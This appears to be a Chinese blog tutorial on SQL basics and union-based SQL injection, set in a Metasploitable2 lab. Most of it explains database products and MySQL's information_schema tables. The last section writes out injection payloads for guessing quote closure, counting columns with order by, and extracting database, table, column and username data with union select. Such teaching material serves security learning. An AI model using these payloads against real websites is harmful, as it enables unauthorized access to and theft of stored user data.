SQL注入之了解数据库和数据库查询流程、注入了解(基于Metasploitable2-Linux)

1、数据库和SQL的基本了解
我们在学习SQL注入之前,先要对数据库和SQL进行一定的了解。
(1)数据库
Oracal(大型):它是在数据库领域一直处于领先地位的产品,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的、适应高吞吐量的数据库方案。

MySQL(开源,常用):是一种开放源代码的关系型数据库管理系统(RDBMS),使用最常用的数据库管理语言–结构化查询语言(SQL)进行数据库管理,因为其速度、可靠性和适应性而备受关注。

Sqlite3:是一款轻型的数据库,是遵守ACID的关系型数据库管理系统,它包含在一个相对小的C库中。

DB2:DB2就是IBM开发的一种大型关系型数据库平台。它支持多用户或应用程序在同一条SQL 语句中查询不同database甚至不同DBMS中的数据。

Access:MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)

SQLServer:美国Microsoft公司推出的一种关系型数据库系统。SQL Server是一个可扩展的、高性能的、为分布式客户机/服务器计算所设计的数据库管理系统,实现了与WindowsNT的有机结合,提供了基于事务的企业级信息管理系统方案

(2)SQL注入
1)结构化查询语言(Structured Query Language )简称SQL,结构化查询语言是一种数据库查询和程序设计语言,用于存储数据以及查询、更新和管理关系数据库系统。
而SQL语言包涵六大部分:
数据查询语句(DQL)—例如:select
数据操作语句(DML)—例如:insert、update、delete
数据控制语言(DCL)—例如:grant、revoke
数据定义语言(DDL)—例如:create、drop
指针控制语言(CCL)—例如:declare cursor、fetch
事务处理语言(TPL)—例如:commit、rollback

2)MYSQL数据库是SQL注入中利用最多的系统数据库,进常用union联合查询方法获得系统数据information_schema其中的信息(例如:库名、表名、组名等数据库类型)
在MYSQL数据库中information_schema的三张表:
Schemata表:提供关于数据库中库的信息,在其中schema_name列包含数据库中所有库的名字,查询此列的值,可以查找到所有数据库名

tables表:提供关于数据库中表的信息,在知道库名的情况下,可以找到这个数据库中所有的表名;故,在这个表里的数据库所对应的列为:table_schema,而所要查的表名对应列为:table_name.

Columns表:给出了数据库中某表中列的信息;在知道数据库名和表名的情况下,可以找到在这个数据库中其表的列信息;故,其中列名值对应列column_name,数据库名值对应列table_schema,表名值对应table_name列,当然此表还有其他列信息

2.数据库查询流程:
1)、information_schema中schemata表
SQL注入之了解数据库和数据库查询流程、注入了解(基于Metasploitable2-Linux)
查询其schema_name列
SQL注入之了解数据库和数据库查询流程、注入了解(基于Metasploitable2-Linux)由此得到一个库名(security)。

2)、进入information_schema中tables表
SQL注入之了解数据库和数据库查询流程、注入了解(基于Metasploitable2-Linux)
已经知道库名(security),查找其表
SQL注入之了解数据库和数据库查询流程、注入了解(基于Metasploitable2-Linux)得到表名(users)

3)、进入information_schema中 Columns表
SQL注入之了解数据库和数据库查询流程、注入了解(基于Metasploitable2-Linux)
已经知道库名(security)和表名(users),查找其列
SQL注入之了解数据库和数据库查询流程、注入了解(基于Metasploitable2-Linux)
得到其列,有三(id,username,password)

4)、得知其库名、表名、列名,可得其数据
SQL注入之了解数据库和数据库查询流程、注入了解(基于Metasploitable2-Linux)
3、SQL注入的基本了解(简单的注入流程)
1)、SQL注入定义
利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句(把数据当做程序去执行)
2)、猜闭合方式
闭合方式多由[ { < ( ’ " ! ?等符号构成,可叠加
一般用1=1 进行测试,若其正常输出,则其闭合方式正确;若非正常输出,则需重新改正。(在讲注入是,会有例子)
语句:/?id=1’ and 1=1 --+
3)、用二分法来猜测表的列数
输入的数字,回复正常则库中大于或等于所输入的数字,不正常,则代表输入数字超出数据库的列数。
语句:/?id=1’ order by 12 --+
4)、 观察显示位(例如列数位3)
语句:/?id=-1’ union all select 1,2,3 --+
注:观察显示位可以得知,哪一位可以与数据库进行交互并显示出来;id=-1的作用是,为了不干扰显示位,如果显示了2,3其中一个或都显示了,那么显示的那个味显示位。
5)、寻找数据库–(information_schema.schemata)
/?id=-1’ union all select 1,2,database() from information_schema.schemata --+
在这里可以把database()改成group_concat(schema_name)
group_concat ----是函数,可以查询所需要的数值,将其结果全部表示出来
假设结果:security
5)、寻找表—(information_schema.tables)
/?id=-1’ union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
假设结果:users
5)、寻找列— (information_schema.columns)
/?id=-1’ union all select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
假设结果:username
6)、寻找数据
/?id=-1’ union all select 1,2,group_concat(username) from security.users --+